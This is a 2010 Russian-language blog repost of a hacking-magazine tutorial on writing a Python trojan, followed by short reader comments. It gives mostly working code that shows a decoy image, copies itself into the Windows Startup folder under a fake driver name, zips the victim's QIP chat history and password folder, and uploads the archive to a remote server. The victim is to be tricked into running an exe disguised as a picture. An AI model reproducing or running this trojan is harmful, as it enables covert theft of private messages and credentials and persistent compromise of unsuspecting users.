Троянский Змей

24 Jan 2010
Posted by admin

Моя стаття з 12 випуска журналу Хакер, як завжди з помилками, і без виправлень.

Троянский Змей

Сказ о троянописании на Python'e

Когда-то Лёня Да Винчи скачал "Существует три разновидности людей: те, кто видит; те, кто видит, когда им показывают; и те, кто не видит". Но в наше время я бы еще добавил группу - те кто видят все, когда им это нужно. Чтобы в ней быть, нужно уметь получать любую информацию - это умение и будем развивать с помощью Python.

Один из вечных холиваров существует по поводу выбора языка програминга для троя. Одни кричат, что лишь на Asm'е пишется что-то нормальное. Другая групка молится на Си. И Дельфисты также не молчат о преимуществах именно их языка. Каждый из них абсолютно прав, ведь всегда найдется задача для которой конкретный язык идеально подойдет. В трояностроительном цеху Python'у также нашлось место, но ограниченое лишь мобильными девайсами. Это и понятно, ведь для запуска скрипта нужен интерпретатор, который почти нигда не установлен у жертвы на обычном компе. Только честно говоря это кажется проблемой лишь на первый взгляд и мы ее легко решим.

Нужно понимать что Python'новский троян целесообразно использовать лишь для точечных атак. К примеру такая задачка, 1 девченка типо блондинко, 1 аська типо qip и наше огромное желание почитать всю историю переписки. Используя социальную инженерию легко попросить посмотреть новую кульную картинку даже если она с расширением "exe" ;). Остается лишь самая малая задачка - сделать этот екзешник.

PyInstaller

На сайте http://pyinstaller.org/ хостится важнейшая тулза для будущего троя. Это набор скриптов, которые из обычного py-скрипта позволяют сделать exe-шник. Скачай ее с сайта или с диска и давай потестим. Пусть ты ее распаковал на диск D:, тогда сначала сконфигурируй:

D:\pyinstaller> Configure.py

Теперь для теста в папке D:\test\ создай Питоновский скрипт test.py:

print "OK"
open("ok.txt","w").write('ok')

Создания exe-шника происходит в 2 этапа. Сначала скриптом Makespec.py записывается файл "spec" с параметрами "компиляции", а потом скрипт Build.py непосредственно создает exe. Скрипт Makespec.py, кроме пути к py-файлу принимает много разных параметров, но нам важны лишь такие:

- "F", на выходе получим один лишь exe-шник;
- "w", не показывать консоль, без этого параметра по-умолчанию программа запускается с консольным окном;
- "X", использовать UPX для сжатия exe;
- "--icon=file.ico", использовать указанную иконку.

Во время разработки желательно лишь использовать параметр "F" - чтобы был один файл и окно, где б мы видели ошибки, если они будут. А потом уже оттестированное приложение можно и запустить с остальными параметрами. Давай проверим все и скомпилим наш тестовый файл:

D:\pyinstaller> Makespec.py -F -w -X d:\test\test.py
D:\pyinstaller> Build.py d:\pyinstaller\test\test.spec

Несколько секунд ожидания и результат работы в папке: d:\pyinstaller\test\dist\. Наш test.exe получился размером в 2.4Мб, и если его запустить, то может показаться что ничего не сработало - так как не будет никакого окна. Хотя видим что ok.txt создается, значить все отлично работает. Теперь зная как создать exe-шник, можно б приступить к написанию скрипта трояна.

Картинка To String

Мы помним, что нашей блондинке должны показать крутую картинку, тоесть наш трой должен сначала показать картинку для правдоподобности, а потом уже копировать себя в автозагрузку и отослать нам архив с историей аськи. Поскольку все должно быть в одном py-файле, то чтобы в исходник трояна поместить картинку нужно ее сжать, а потом закинуть в base64 - чтобы была простой строкой. Немножко Питоновской магии с обьектом gzip.GzipFile, которому при создании указываем куда сохранять уже сжатые данные, и получаем такой код который читает файл my.jpg, сжимает, кодирует функцией base64.encodestring в строку base64 и уже строку-изображение сохраняет в rez_img.txt:

import StringIO, gzip, base64

zbuf = StringIO.StringIO()
zfile = gzip.GzipFile(mode='wb', fileobj=zbuf)
zfile.write(open('my.jpg','rb').read())
zfile.close()

open('rez_img.txt','w').write(
  base64.encodestring(zbuf.getvalue())
)

Теперь, имея строку-изображение начнем писать троя. И вначале файла troj.py поместим в переменную img нашу картинку с rez_img.txt, что примерно выглядит так с описанием логики приложения:

img = '''
H4sIAMW28E...
'''
import sys

#если мы запущены первый раз
if (sys.argv[0].find('Startup')==-1):
  #создать картинку из img и показать ее
  #узнать папку с автозагрузкой
  #скопировать себя в автозагрузка
  #создать архив qip и отослать на сервер
else:
  #достать команду на сервере и исполнить ее

Где в начале мы проверям запущены мы с автозагрузки или нет. И если не из папки автозагрузки, то выполняем сначала отвлекающие действия.

String To Картинка To Блондинко

Розпаковка файла почти какая как и паковка расписанная више, поэтому эту часть лучше посмотреть в исходниках на диске. Лишь ньюанс, что файл картинки берем из названия нашего exeшника, чтобы уменьшить паливность:

file_src = sys.argv[0]
img_name= file_src.split('\\')[-1].split('.')[0]
img_name += '.jpg'

Хотя вместо выше приведенного кода можно б использовать стандартную функцию для отделения имени от пути, но мне проще так, ежели лазить по справочнику. Картинка создана, остается лишь исполнить ее используя библиотеку subprocess:

import subprocess
subprocess.Popen(img_name, shell=True)

И поскольку указали shell=True картинка откроется так, как и при обычном дабл-кликом.

Автозапуск

Самый простой способ автозапуска нашей проги - скопировать себя в папку автозагрузки:

import shutil
shutil.copy(sys.argv[0], r'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\driver_video.exe')

Как видим, учебный троян заточет лишь под английскую версию windows 7, поэтому для работы с другими версиями константы путей нужно поменять. Или их динамически вытаскивать с стандартных переменных Винды:

%windir%
%APPDATA%
%TEMP%
и другие. Полный список можеш глянуть, если в консоли напишеш команду "set", и эту же команду вместе с subprocess.Popen нужно юзать, чтобы из скрипта получить эти переменные.

Копируем все!

Теперь мы отвлекли внимание юзера, закрепились в автозагрузке и можем исполнить прямое наше назначение и отослать на сервер архив папки с историей и паролями qip'a - C:\Program Files\QIP\Users\.

Создадим в папке Temp архив заюзав библиотеку zipfile. Для этого создадим обьект zipfile.ZipFile и рекурсивно пройдемся по папки qip добавляя в архив все файлы:

import zipfile
def addToZip(zf, path, zippath):
  if os.path.isfile(path):
    zf.write(path, zippath, zipfile.ZIP_DEFLATED)
  elif os.path.isdir(path):
    for nm in os.listdir(path):
      addToZip(zf,
        os.path.join(path, nm),
        os.path.join(zippath, nm)
  )
 
zip_file = r'C:\Windows\Temp\system_files.zip'
zf = zipfile.ZipFile(zip_file, 'w', allowZip64=True)
src = r'C:\Program Files\QIP\Users\\'
addToZip(zf, src, os.path.basename(src))
zf.close()

Отослать получаный файл можно например через ftp, или послать post-запросом, как раз для второго воспользуемся библиотекой urllib2:

from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import urllib2
register_openers()
d,h=multipart_encode({"f": open(zip_file,"rb")})
request = urllib2.Request("http://s/f.php", d, h)
urllib2.urlopen(request)

После написания этого наконец-то имеем рабочий троян, и можно создавать екзешник и предлагать скачать новую кульную картинку ;).

А есть ли будущее?

Резонный вопрос о будущем троянописании на Python'e, ведь размер полученого файла - вполне существенный. И это огромный минус. Но ведь плюсы также есть, такие как скорость написание и последующей модификации. А исходник можно очень легко шифровать и изменять по разному, что в следствии сигнатурный поиск антивирусов абсолютно безполезен. Быть или не быть - решать тебе. Если же будет нужна помощь, то ты знаеш где меня найти.

Comments

 

Проведение «точечных» атак, на которые рассчитана статья, в последнее время осложняется тем фактом, что антивирус установлен практически у каждого мало-мальски пользующимся компьютером (в т.ч. у «блондинки»). И пусть базы в нем не обновляются с момента установки, манипуляции рассмотренного трояна с объектами операционной системы режутся любым «несамописным» антивирусом :). Думаю, что исходный код, прилагающийся к статье, дальше концепта не мутирует.

Однако умеющим читать между строк материал окажется полезным. Например, набирающие популярность онлайн-сервисы , которые написаны с использованием Python’a, могут обзавестись оффлайновыми версиями. И не смотря на то, что уже есть подобные конвертеры php2exe, решающим фактором в пользу пайтона сыграет его «многопоточность».

 

c0n Difesa | Jan 27th, 2010 at 6:10 pm

светачка, светуля...

;)

poma | Jan 25th, 2010 at 8:38 pm

То мою маму так звати, і музичний супровід - то як би маленький подарунок їй на Новий Рік!

admin | Jan 26th, 2010 at 10:51 am
 
 
 

Contacts

Роман Хоменко aka PresidentUA
mail/jabber: spirt40@gmail.com

Creative Commons License